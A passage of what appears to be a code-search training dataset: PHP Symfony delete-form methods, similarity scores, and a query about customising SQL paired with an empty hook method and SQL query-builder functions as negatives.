array('id' => $acte->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "protected function createComponentDeleteForm()\r\n\t{\r\n\t\t$form = new Form;\r\n\t\t$form->addSubmit('delete', 'Smazat')->setAttribute('class', 'default');\r\n\t\t$form->addSubmit('cancel', 'Storno');\r\n\t\t$form->onSuccess[] = callback($this, 'deleteFormSubmitted');\r\n\t\t$form->addProtection(self::MESS_PROTECT);\r\n\t\treturn $form;\r\n\t}", "private function createDeleteForm(Demande $demande)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('demande_delete', array('id' => $demande->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Pagos $pago)\n {\n \n return $this->createFormBuilder()\n ->setAction($this->generateUrl('pagos_delete', array('id' => $pago->getIdpagos())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n \n }", "private function createDeleteForm(Nomenclature $nomenclature)\n {\n\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('nomenclature_delete', array('id' => $nomenclature->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('caracteristicasequipo_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Eliminar','attr' => array('class' => 'btn btn-danger')))\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('empleado_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }", "public function createDeleteForm($id){\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('rsp_delete',array('id'=>$id)))\n ->setMethod('DELETE')\n ->add('submit','submit',array('label'=>'Delete'))\n ->getForm()\n ;\n }", "private function createDeleteForm(GrupoDiagnostico $grupoDiagnostico)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('grupodiagnostico_delete', array('id' => $grupoDiagnostico->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Actualites $actualite)\r\n {\r\n return $this->createFormBuilder()\r\n ->setAction($this->generateUrl('actualites_delete', array('id' => $actualite->getId())))\r\n ->setMethod('DELETE')\r\n ->getForm()\r\n ;\r\n }", "public function deleteForm()\n\t{\n\t\t$form = new \\IPS\\Helpers\\Form( 'form', 'delete' );\n\t\t$form->addMessage( 'node_delete_blurb_no_content' );\n\t\t\n\t\treturn $form;\n\t}", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('tecnoequipo_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'ELIMINAR'))\n ->getForm()\n ;\n }", "private function createDeleteForm(Entreprise $entreprise)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('entreprise_delete', array('id' => $entreprise->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Appartement $appartement)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('backend_appartement_delete', array('id' => $appartement->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('medicamentossuministrados_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Eliminar', 'attr' => array('class' => 'btn')))\n ->getForm()\n ;\n }", "private function createDeleteForm ( Maileguak $maileguak )\n {\n return $this->createFormBuilder()\n ->setAction( $this->generateUrl( 'maileguak_delete', array ('id' => $maileguak->getId()) ) )\n ->setMethod( 'DELETE' )\n ->getForm();\n }", "private function createDeleteForm($id)\r\n {\r\n return $this->createFormBuilder()\r\n ->setAction($this->generateUrl('admtipoaporte_delete', array('id' => $id)))\r\n ->setMethod('DELETE')\r\n ->add('submit', 'submit', array('label' => 'Eliminar','attr'=>array('class'=>'btn btn-danger')))\r\n ->getForm()\r\n ;\r\n }", "private function createDeleteForm(Caisse $caisse)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('caisse_delete', array('id' => $caisse->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(districts $district)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('districts_delete', array('id' => $district->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id,$idcupo)\n {\n\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('liquidaciones_delete', array('id' => $id,'idcupo'=>$idcupo)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete','attr' => array('class' => 'form-control')))\n ->getForm()\n ;\n }", "private function createDeleteForm(Evenement $evenement)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('admin_evenement_delete', array('id' => $evenement->getId())))\n ->setMethod('DELETE')\n ->getForm();\n }", "private function createDeleteForm(FarmFertilizer $farmFertilizer)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('farmfertilizer_delete', array('id' => $farmFertilizer->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Complect $complect)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('nomenclature_complect_delete', array('id' => $complect->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Mensajes $mensaje)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('mensajes_delete', array('id' => $mensaje->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createComptesDeleteForm(Compte $compte)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('comptes_delete', array('id' => $compte->getCompteId())))\n ->setMethod('DELETE')\n ->getForm();\n }", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('administracion_servicio_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }", "private function createDeleteForm(Funcionario $funcionario)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('funcionario_delete', array('id' => $funcionario->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Tipocaso $tipocaso)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('tipocaso_delete', array('idTipo' => $tipocaso->getIdtipo())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(MostraMizaUllirit $mostraMizaUllirit)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('mostramizaullirit_delete', array('id' => $mostraMizaUllirit->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Produits $produit) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('produits_delete', array('id' => $produit->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Torniquete $torniquete)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('torniquete_delete', array('id' => $torniquete->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Evenement $evenement)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('evenement_delete', array('idevenement' => $evenement->getIdevenement())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n { \n \n return $this->createFormBuilder()\n ->setAction($this->generateUrl('aulas_aula_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }", "private function createDeleteForm($id) {\r\n return $this->createFormBuilder()\r\n ->setAction($this->generateUrl('rubrique_delete', array('id' => $id)))\r\n// ->setMethod('DELETE')\r\n ->add('submit', SubmitType::class, array('label' => 'Supprimer la rubrique courante'))\r\n ->getForm()\r\n ;\r\n }", "private function createDeleteForm(Partido $partido) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('partido_delete', ['id' => $partido->getId()]))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Metas $meta)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('admin_crud_metas_delete', array('id' => $meta->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(SysEduc $sysEduc)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('syseduc_delete', array('id' => $sysEduc->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('periododeinscricao_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }", "private function createDeleteForm(Orden $orden)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('orden_delete', array('id' => $orden->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('dzialy_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Usuń Dział' , 'attr' => array('class' => 'btn btn-danger' , 'icon' => 'times fa-fw')))\n ->getForm()\n ;\n }", "private function createDeleteForm(Indicateur $indicateur) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('indicateur_delete', array('id' => $indicateur->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Musicien $musicien)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('musicien_delete', array('codeMusicien' => $musicien->getCodemusicien())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(EcoCardiogramaTransesofagico $ecoCardiogramaTransesofagico)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('ecocardiogramatransesofagico_delete', array('id' => $ecoCardiogramaTransesofagico->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('solmantenimientoidentificacion_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Borrar','attr'=>array('class'=>'btn btn-danger btn btn-danger btn-lg btn-block')))\n ->getForm()\n ;\n }", "private function createDeleteForm(Cancion $cancion)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('cancion_delete', array('id' => $cancion->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Eventos $evento)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('eventos_delete', array('id' => $evento->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('tipuscentre_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Projecte $projecte)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('projecte_delete', array('id' => $projecte->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n {\n $translated = $this->get('translator');\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('configuracao_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => $translated->transChoice('txt.excluir',0,array(),'messagesCommonBundle'), 'attr' => array('class' => 'btn btn-danger btn-lg')))\n ->getForm()\n ;\n }", "private function createDeleteForm(Motscles $motscle)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('motscles_delete', array('idMotsCles' => $motscle->getIdmotscles())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Cahierdescharges $cahierdescharge) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('cahierdescharges_delete', array('id' => $cahierdescharge->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Covoiturage $covoiturage)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('personnel_covoiturage_delete', array('id' => $covoiturage->getId())))\n ->setMethod('DELETE')\n ->getForm();\n }", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('envase_ingreso_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('entreprise_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('adminPromoCmdes_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('cole_deletar', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('visiteur_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }", "private function createDeleteForm(Centro $centro)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('centro_delete', array('id' => $centro->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(FoodSupplier $foodSupplier)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('foodsupplier_delete', array('id' => $foodSupplier->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm(Promotion $promotion)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('promotion_delete', array('id' => $promotion->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "private function createDeleteForm($id)\n {\n return $this->createFormBuilder(null, array('attr' => array( 'id' => 'pts_del')))\n ->setAction($this->generateUrl('morus_accetic_inventory_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => $this->get('translator')->trans('btn.delete')))\n ->getForm()\n ;\n }" ]
[ "0.7275401", "0.72332734", "0.7229966", "0.7202093", "0.7172109", "0.71656126", "0.7076769", "0.70561606", "0.70356995", "0.702274", "0.7001992", "0.6984268", "0.69553185", "0.694906", "0.6947557", "0.6945913", "0.6925127", "0.692076", "0.6889993", "0.68896943", "0.6882552", "0.6882311", "0.6861752", "0.68383336", "0.6835521", "0.6831628", "0.6819017", "0.6794813", "0.67867047", "0.6784104", "0.67718816", "0.6768941", "0.6760757", "0.6753642", "0.6741973", "0.67291677", "0.6726448", "0.6716046", "0.6697183", "0.6692947", "0.6691417", "0.6688738", "0.66782355", "0.66689944", "0.6662561", "0.66591394", "0.66511834", "0.6650236", "0.6634821", "0.66232836", "0.66180414", "0.6617114", "0.6613913", "0.66095656", "0.6607693", "0.66069", "0.6592131", "0.65895027", "0.6572448", "0.6568077", "0.6562882", "0.65625674", "0.6562128", "0.65580285", "0.6551557", "0.6549791", "0.65480596", "0.65442896", "0.6537853", "0.65357983", "0.65351003", "0.6532094", "0.6528036", "0.6507437", "0.6505847", "0.65015066", "0.6499463", "0.64986444", "0.64969206", "0.64951986", "0.6495063", "0.6491369", "0.648964", "0.64888376", "0.6488389", "0.647959", "0.64773566", "0.64755404", "0.64743894", "0.6471858", "0.64716166", "0.6469023", "0.64660525", "0.64634424", "0.6462054", "0.6460013", "0.64569527", "0.64556396", "0.644891", "0.6448736" ]
0.8178076
0
This method will be execute before run the main process
public function hook_before(&$postdata) { try{ $query_result = DB::table('app_user_prd_like') ->where('app_user_id',$postdata['app_user_id']) ->where('basecategory_id',$postdata['basecategory_id']) ->where('subcategory_id',$postdata['subcategory_id']) ->where('type_id',$postdata['type_id']) ->where('prd_product_id',$postdata['prd_product_id']) ->where('deleted_at', NULL) ->pluck('id') ->first(); if($query_result == null) { DB::table('app_user_prd_like')->insert([ 'id' => NULL, 'app_user_id' => $postdata['app_user_id'], 'basecategory_id' => $postdata['basecategory_id'], 'subcategory_id' => $postdata['subcategory_id'], 'type_id' => $postdata['type_id'], 'prd_product_id' => $postdata['prd_product_id'], 'created_at' => Carbon::now() ]); $results['api_status'] = 1; $results['api_message'] = 'app_user_prd_like inserted'; } else { $results['api_status'] = 2; $results['api_message'] = 'app_user_prd_like exist'; } } catch (\Exception $exception){ $results['api_status'] = 0; $results['api_message'] = 'server error'.'_'.$exception; } echo json_encode($results, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); die; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function beforeProcess() {\n }", "public function preExec()\n {\n }", "protected function _preExec()\n {\n }", "protected function preProcess() {}", "public function preExecute(){\n\n\t\n\t}", "public function before_run(){}", "public function preExecute() {\n }", "private function before_execute()\n {\n }", "public function before_run() {}", "public function preProcess();", "public function preProcess();", "protected function _init(){\n\t\t//Hook called at the beginning of self::run();\n\t}", "function preProcess()\n {\t\n parent::preProcess( );\n\t\t \n\t}", "public static function firstRun(){\n\t\tparent::firstRun();\n\n\t}", "protected function main()\n /**/\n {\n parent::run();\n }", "protected function _postExec()\n {\n }", "protected function preRun()\n {\n if (@class_exists('Plugin_PreRun') &&\n in_array('Iface_PreRun', class_implements('Plugin_PreRun'))) {\n $preRun = new Plugin_PreRun();\n $preRun->process();\n }\n }", "abstract protected function _preProcess();", "public function beforeStart()\n {\n }", "protected function _process() {}", "protected function _process() {}", "protected function _process() {}", "protected function _process() {}", "protected function _before()\n {\n $this->mCommandLineOptions = new CommandLineOptions();\n }", "public function after_run() {}", "public function beforeStart () {\n }", "protected function _before(){\n $this->startApplication();\n }", "protected function _exec()\n {\n }", "public function preExecuteCheck()\n {\n return true;\n }", "public function preExecute() {\n if ($this->get_option('geocluster_enabled')) {\n if ($algorithm = geocluster_init_algorithm($this->config)) {\n $algorithm->before_pre_execute();\n }\n }\n }", "public function pre()\n {}", "public function onBeforeMain()\n\t{\n\t\t$this->addJavascriptFile('media://com_akeeba/js/Stepper.min.js');\n\t\t$this->addJavascriptFile('media://com_akeeba/js/Alice.min.js');\n\n\t\t/** @var Log $logModel */\n\t\t$logModel = $this->container->factory->model('Log')->tmpInstance();\n\n\t\t// Get a list of log names\n\t\t$this->logs = $logModel->getLogList();\n\t\t$this->log = $this->input->getCmd('log', null);\n\n\t\tJText::script('COM_AKEEBA_ALICE_SUCCESSS');\n\t\tJText::script('COM_AKEEBA_ALICE_WARNING');\n\t\tJText::script('COM_AKEEBA_ALICE_ERROR');\n\t\tJText::script('COM_AKEEBA_BACKUP_TEXT_LASTRESPONSE');\n\t}", "protected function _onStart()\n {\n $this->_raise(self::E_LOAD);\n }", "protected function beforeRun(){\n\t\treturn true;\n\t}", "public function start()\n {\n die(\"Must override this function in a driver\");\n }", "public function after_run(){}", "protected function before(){}", "protected function _preload() {\n }", "protected function _beforeInit() {\n\t}", "public function __before() {\n\t\t// runs after this->data is set up, but before the class methods are run\n\t}", "public static function pre_process() {}", "protected function _before() {\n\t\tparent::_before ();\n\t\tStartup::setConfig ( $this->config );\n\t\t$this->_startCache ();\n\t\t$this->yumlModelsCreator = new YumlModelsCreator ();\n\t}", "public static function run() {\n\t}", "public function before()\r\n {\r\n \t// Profile the loader\r\n \t\\Profiler::mark('Start of loader\\'s before() function');\r\n \t\\Profiler::mark_memory($this, 'Start of loader\\'s before() function');\r\n \t\r\n // Set the environment\r\n parent::before();\r\n \r\n // Load the config for Segment so we can process analytics data.\r\n \\Config::load('segment', true);\r\n \r\n // Load the config file for event names. Having events names in one place keeps things synchronized.\r\n \\Config::load('analyticsstrings', true);\r\n \r\n // Engine configuration\r\n \\Config::load('engine', true);\r\n\t\t\r\n\t\t// Load the package configuration file.\r\n\t\t\\Config::load('tiers', true);\r\n\t\t\r\n\t\t// Soccket connection configuration\r\n\t\t\\Config::load('socket', true);\r\n \r\n /**\r\n * Ensure that all user language strings are appropriately translated.\r\n * \r\n * @link https://github.com/fuel/core/issues/1860#issuecomment-92022320\r\n */\r\n if (is_string(\\Input::post('language', false))) {\r\n \t\\Environment::set_language(\\Input::post('language', 'en'));\r\n }\r\n \r\n // Load the error strings.\r\n \\Lang::load('errors', true);\r\n }", "private function setup()\r\n\t{ }", "protected function _before()\n\t{\n\t\t\n\t}", "public function start() {\n\n // TODO: Maybe sometimes\n\n }", "protected function beforeRun()\n {\n $this->setUtf8Context();\n }", "protected function beforeRun()\n {\n $this->setUtf8Context();\n }", "public function beforeLoop()\n {\n $this->createSavegame();\n }", "protected function afterProcess() {\n }", "protected function doExecute()\n\t{\n\t\t// Your application routines go here.\n\t}", "public function preDispatch() {\n\t\t\n\t\t}", "public function postExec()\n {\n }", "public function onBeforeRun()\n\t{\n\t\t$this->raiseEvent('onBeforeRun', new TestRunnerEvent($this, $this->collection));\n\t}", "protected function runBeforeRender() {\n\t\t// Empty default implementation. Should be implemented by descendant classes if needed\n\t}", "public function setup(){\n\t\tparent::setup();\n\t\t//Do stuff...\n\t}", "public function beforeInstall()\n\t{}", "protected function initializeProcessAction() {}", "public function setup()\n\t{\n\t\t// we don't do anything here in the base class\n\t}", "public function preInstall()\n {\n }", "public function run()\n\t{\n\t\t//\n\t}", "public function startup();", "public function process()\n {\n // do nothing here\n }", "public function before() {}", "public function before() {}", "public static function _before() : void {\n\t}", "public function preSend()\n {\n }", "public function _before_init(){}", "protected function before(): void\n {\n }", "public function preDispatch()\n\t{\n\n\t\t\n\t\t\n\t}", "protected function before() {\n }", "public function _postSetup()\n {\n }", "protected function process()\n {}", "public function start()\n {\n // nop\n }", "public function onRun()\n {\n }", "public function beforeSyncing() {}", "protected abstract function before();", "public function run() {}", "public function run(){}", "protected function _precreate() {\n }", "public function prepareForRestart() {\n\t\tparent::prepareForRestart();\n\t}", "protected function before() {\n\t\t// Empty default implementation. Should be implemented by descendant classes if needed\n\t}", "public function start() {}", "public function start() {}", "public function start() {}", "public function start() {}", "public function start() {}", "public function start() {}", "public function start() {}", "public function start() {}", "public function start() {}", "public function start() {}", "protected function _before()\n {\n parent::_before();\n\n $this->setUpEnvironment();\n }", "public function preAction()\n {\n // Nothing to do\n }", "private function init()\n\t{\n\t\treturn;\n\t}", "protected function _afterInit() {\n\t}", "public function run()\n {\n }", "public function beforeSetup()\n {\n }", "public function preTesting() {}", "abstract protected function beforeRun($data);" ]
[ "0.77642214", "0.77292436", "0.7657999", "0.7657372", "0.7388362", "0.7386401", "0.7313739", "0.7306053", "0.7297915", "0.7121835", "0.7121835", "0.68885976", "0.6788637", "0.67688143", "0.67335665", "0.67220014", "0.67121345", "0.6708398", "0.6601868", "0.6596266", "0.6596266", "0.6596266", "0.6596266", "0.65942615", "0.65655714", "0.6560954", "0.6551812", "0.6531848", "0.6528547", "0.6528407", "0.65188265", "0.6517395", "0.65011185", "0.64878577", "0.64658844", "0.64575654", "0.6451912", "0.6448395", "0.64378166", "0.6415687", "0.64053935", "0.6378872", "0.6352494", "0.6348224", "0.63426113", "0.6334665", "0.63121325", "0.62967765", "0.62967765", "0.62945175", "0.6287752", "0.62848884", "0.6277677", "0.62647337", "0.6264196", "0.62504476", "0.62480944", "0.6244343", "0.6241703", "0.62375945", "0.62297887", "0.62286884", "0.6210491", "0.62099767", "0.6205138", "0.6205138", "0.6204862", "0.6203754", "0.6197159", "0.6195391", "0.6189615", "0.6185769", "0.61787087", "0.61719984", "0.6169404", "0.616677", "0.6164515", "0.61631715", "0.615467", "0.6153548", "0.6144568", "0.6144303", "0.6140066", "0.6136064", "0.6136046", "0.6136046", "0.6135362", "0.61339754", "0.61339754", "0.61339754", "0.61339754", "0.61339754", "0.61339754", "0.61272526", "0.6124587", "0.6122949", "0.61198467", "0.6110412", "0.6107889", "0.61020243", "0.61018604" ]
0.0
-1
This method is to customize the sql query
public function hook_query(&$query) { }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getSql()\n {\n $operators['='] = '=';\n $operators['like'] = 'like';\n $operators['>='] = '>=';\n $operators['<='] = '<=';\n\n $select = 'SELECT ';\n foreach ($this->columns as $key => $value)\n {\n $alias = '';\n //bairros::nome|bairro\n if(preg_match('/\\|/',$key) && !preg_match('/like/',$key)) \n {\n $explode_values = explode('|',$key);\n $table_field = str_replace('::', '.', $explode_values[0]);\n $alias = $explode_values[1]; \n $alias = \" as {$alias}\"; \n }\n // elseif(preg_match('/like/',$key))\n // {\n \n // $explode_values = explode('|',$key);\n // $exKey = explode('::',$explode_values[0]);\n // $alias = $explode_values[1]; \n // $alias = \" as {$alias}\";\n \n // $table_field = \"{$exKey[0]}.{$exKey[1]}\"; \n // }\n else\n {\n\n $table_field = str_replace('::', '.', $key); \n }\n \n $select.= \" {$table_field}{$alias},\";\n $table = explode('.', $table_field);\n $from[$table[0]] = $table[0];\n\n if ($value->relation)\n {\n $where.= ' ' . $value->relation . ' AND';\n }\n }\n\n if ($this->filter)\n {\n foreach ($this->filter as $key_filter => $filter)\n {\n if ($filter)\n {\n \n\n if(preg_match('/\\|/',$key_filter))\n {\n $key_filter = explode('::', $key_filter);\n $operator = $key_filter[2];\n $explode_values = explode('|',$key_filter[1]);\n $key_filter = $this->model->getTable() . '.' . $explode_values[0]; \n\n }\n else\n {\n $key_filter = explode('::', $key_filter);\n $operator = $key_filter[2];\n $key_filter = $this->model->getTable() . '.' . $key_filter[1]; \n }\n\n if ($operator)\n {\n if ($operator == 'like')\n {\n $where.= \" {$key_filter} like '%{$filter}%' AND\";\n }\n elseif ($operators[$operator])\n {\n $where.= \" {$key_filter} {$operators[$operator]} '{$filter}' AND\";\n }\n }\n else\n {\n $where.= \" {$key_filter} like '%{$filter}%' AND\";\n }\n }\n }\n }\n if ($where)\n {\n $where = ' WHERE ' . $where;\n }\n $where = substr($where, 0, -3);\n $select = substr($select, 0, -1);\n $from = implode(',', $from);\n \n return $select . ' from ' . $from . $where . ' limit 20';\n }", "public function getQuery(){\n $sql = \"select %s from %s %s %s %s %s %s\";\n\n return sprintf($sql, $this->param, $this->table,\n empty($this->join) ? '' : implode($this->join),\n empty($this->where) ? '' : 'where '. $this->where,\n empty($this->having)? '' : 'having '. $this->having,\n empty($this->order) ? '' : 'order by '. $this->order,\n empty($this->setOperations) ? '' : implode($this->setOperations)\n );\n }", "function buildQuery(){\n\t\t$r = ($this->fieldName == \"\") ? \"SELECT * FROM \" . $this->tableName . \";\" : \"SELECT * FROM \" . $this->tableName . \" WHERE \" . $this->fieldName . \" = \" . $this->fieldValue . \";\";\n\t\t//print \"executing $r <br/>\";\n\t\treturn $r;\n\t}", "function get_sql(){\r\n\r\n\t\treturn $this->get_sql_select().$this->get_sql_where().$this->get_sql_order().$this->get_sql_limit();\r\n\r\n\t}", "public function getSQL() {\n\t\t$o = $this->obj;\n\t\t$sql = \"SELECT\";\n\t\tif ($this->distinct) {\n\t\t\t$sql .= \" DISTINCT\";\n\t\t}\n\t\t$s = $this->getSelects();\n\t\tif ($s == \"\") {\n\t\t\t$sql .= \" \".$this->getTable().\".*\";\n\t\t} else {\n\t\t\t$sql .= \" \".$s;\n\t\t}\n\t\t$sql .= \" FROM \".$this->getFrom();\n\t\t$sql .= $this->getJoins();\n\t\t$where = $this->getFilters()->getSQL();\n\t\tif ($where != \"\") {\n\t\t\t$sql .= \" WHERE \".$where;\n\t\t}\n\n\n\n\t\tif ($this->group !== false) {\n\t\t\tif ($this->group[1] == false) {\n\t\t\t\t$sql .= \" GROUP BY \".$this->getTable().\".`\".$this->db->escape_string($this->group[0]).\"`\";\n\t\t\t} else {\n\t\t\t\t$sql .= \" GROUP BY \".$this->group[0];\n\t\t\t}\n\t\t}\n\t\t//if ($this->filter) {\n\t\t//\t$sql .= \" WHERE \".$this->filter->getSQL();\n\t\t//}\n\t\tif (count($this->order) > 0) {\n\t\t\tif ($this->order[0][0] === false) {\n\t\t\t\t$sql .= \" ORDER BY RAND()\";\n\t\t\t} elseif (isset($this->order[0][0])) {\n\t\t\t\t$sql .= \" ORDER BY \";\n\t\t\t\tforeach ($this->order as $cols) {\n\t\t\t\t\t$sql .= \"`\".$this->db->escape_string($cols[0]).\"`\";\n\t\t\t\t\tif ($this->orderAsc) {\n\t\t\t\t\t\t$sql .= \" {$cols[1]} \";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$sql .= \" {$cols[1]} \";\n\t\t\t\t\t}\n\t\t\t\t\t$sql .= \", \";\n\t\t\t\t}\n\t\t\t\t$sql = substr($sql, 0, -2);\n\t\t\t}\n\t\t}\n\n\t\tif ($this->start !== false) {\n\t\t\t$sql .= \" LIMIT {$this->start}\";\n\t\t\tif ($this->end !== false) {\n\t\t\t\t$sql .= \",{$this->end}\";\n\t\t\t}\n\t\t}\n\t\treturn $sql;\n\t}", "function createQuery() ;", "public function get_sql()\n {\n }", "abstract protected function buildSQL(): string;", "abstract function getSQL();", "function getSql()\n{\n\textract($this->query, EXTR_SKIP);\n\t\n\tif (!$select or !$from) return '';\n\t\n\t$sql = 'SELECT '.implode(',', $select).' FROM '.$from;\n\tif ($where) $sql .= ' WHERE '.implode(' AND ', array_unique($where));\n\tif ($whereJoin) $sql .= ($where? ' AND ':' WHERE ').implode(' AND ', array_unique($whereJoin));\n\tif ($group) $sql .= ' GROUP BY '.$group;\n\tif ($having) $sql .= ' HAVING '.implode(' AND ', array_unique($having));\n\tif ($order) $sql .= ' 